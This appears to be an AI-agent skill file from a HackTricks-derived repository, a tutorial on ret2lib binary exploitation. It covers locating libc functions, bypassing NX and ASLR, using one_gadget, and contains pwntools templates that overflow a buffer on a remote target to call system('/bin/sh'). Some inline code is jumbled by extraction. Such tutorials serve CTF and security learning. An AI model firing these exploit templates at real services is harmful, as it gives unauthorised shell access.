Hacktricks-skills ret2lib-exploitation
How to perform ret2lib attacks on vulnerable binaries. Use this skill whenever the user mentions ret2lib, return-to-libc, libc exploitation, calling system/execve from libc, bypassing NX with library functions, or needs to craft ROP chains to call libc functions. This skill covers finding libc addresses, handling ASLR, using one-gadget, and architecture-specific considerations (x86, x64, ARM64).
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib/SKILL.MDRet2Lib Exploitation
Ret2Lib (Return-to-Libc) redirects execution flow to functions in shared libraries like
libc.so instead of executing shellcode on the stack. This bypasses NX (non-executable stack) protections.
Core Concept
- Find target function in libc (e.g.,
,system
,execve
)printf - Find argument data in libc (e.g.,
string)/bin/sh - Craft ROP chain to set up arguments per calling convention
- Overflow buffer to redirect execution to the function
Finding Libc Addresses
Method 1: Using ldd
ldd# Find where libc is loaded ldd /path/to/binary | grep libc.so.6 # Check if ASLR randomizes libc (run multiple times) for i in {1..5}; do ldd ./binary | grep libc; done
Method 2: Using readelf
for function offsets
readelf# Find system function offset readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system # Find /bin/sh string offset strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Method 3: Using GDB with PEDA/GEF
gdb ./binary # After running the binary p system # Address of system p exit # Address of exit find "/bin/sh" # Find /bin/sh string
Method 4: Using /proc/<PID>/maps
/proc/<PID>/mapsFor network servers or child processes:
# Read memory maps (may need root) cat /proc/<PID>/maps | grep libc # The first address shown is the libc base address # Example: 0xb75dc000 is the base
Unknown Libc Version
When you don't know which libc the binary uses:
Option 1: Leak addresses and identify
- Exploit the vulnerability to leak a libc function address
- Use libc.blukat.me with 2 function addresses to identify the version
- Download the matching libc and calculate offsets
Option 2: Use pwntools template
See
rop-leaking-libc-template.md for automated libc identification.
Bypassing ASLR
32-bit Systems (Brute Force)
Local attacks:
for off in range(0xb7000000, 0xb8000000, 0x1000): # Try each possible libc base address
Remote attacks:
# Brute-force usleep address with argument 10 # If server delays 10 seconds, you found the address
64-bit Systems
ASLR brute force is impractical. Instead:
- Leak a libc address first (via GOT, format string, etc.)
- Calculate offsets from leaked address
- Use the calculated addresses in your exploit
One-Gadget
For simpler exploitation, use one-gadget addresses that spawn a shell with a single jump:
# Find one-gadget addresses for your libc one_gadget /lib/x86_64-linux-gnu/libc.so.6 # Example output: # 0x45216 : execve("/bin/sh", ["/bin/sh"], ["/bin/sh"])
Architecture-Specific Considerations
x86 (32-bit)
- Arguments passed on stack (right-to-left)
- Use
in pwntoolsp32() - Stack grows downward
Example payload structure:
[padding][system_addr][exit_addr][binsh_addr]
x64 (64-bit)
- First 6 arguments in registers: RDI, RSI, RDX, RCX, R8, R9
- Need ROP gadgets to set registers
- Use
in pwntoolsp64()
Common gadgets:
- set first argumentpop rdi; ret
- set second argumentpop rsi; ret
- set third argumentpop rdx; ret
ARM64
jumps to X30 register, not stack pointerret- Cannot jump mid-instruction
- More complex ROP chains required
- See
for examplesret2lib-+-printf-leak-arm64.md
Common Attack Patterns
Pattern 1: Basic Ret2Lib
from pwn import * # Connect to target p = remote('target', port) # Find addresses libc_base = 0xb75dc000 # From /proc/maps or leak system_addr = libc_base + 0x3cb20 binsh_addr = libc_base + 0x1388da # Craft payload payload = b'A' * offset # Fill buffer to overwrite return address payload += p32(system_addr) payload += p32(0xdeadbeef) # Return address after system (can be exit or garbage) payload += p32(binsh_addr) # First argument to system # Send exploit p.sendline(payload) p.interactive()
Pattern 2: Ret2Printf (Leak Address)
# Leak libc address by calling printf with GOT entry as argument payload = b'A' * offset payload += p32(printf_addr) payload += p32(puts_got_addr) # Address of puts in GOT # Receive leaked address leaked = u32(p.recv(4)) libc_base = leaked - puts_offset
Pattern 3: Ret2Printf Format String
Combine ret2lib with format string vulnerability:
# Use ret2lib to call printf with format string arguments # This transforms ret2lib into a format string exploit
Debugging Tips
Verify libc base address
# In GDB info proc mappings # Look for libc.so.6 entry
Check if ASLR is enabled
cat /proc/sys/kernel/randomize_va_space # 0 = disabled, 1 = conservative, 2 = full
Test locally first
# Disable ASLR for testing setarch $(uname -m) -R ./binary
Common Pitfalls
- Wrong calling convention - x86 uses stack, x64 uses registers
- Missing null bytes -
contains null terminator, use/bin/sh
or find alternative/bin/sh\x00 - ASLR not accounted for - Always verify if ASLR is enabled
- Wrong libc version - Offsets differ between libc versions
- Stack alignment - Some functions require 16-byte stack alignment
Tools Checklist
-
- Find libc load addressldd -
- Find function offsetsreadelf -
- Find string offsetsstrings -
+ PEDA/GEF - Debug and find addressesgdb -
- Find one-gadget addressesone_gadget -
- Craft and send payloadspwntools -
- Identify libc versionlibc.blukat.me
Next Steps
After basic ret2lib:
- Learn ROP chain construction for complex argument setup
- Study format string vulnerabilities for address leaking
- Practice heap exploitation for advanced scenarios
- Explore ARM64 exploitation for mobile targets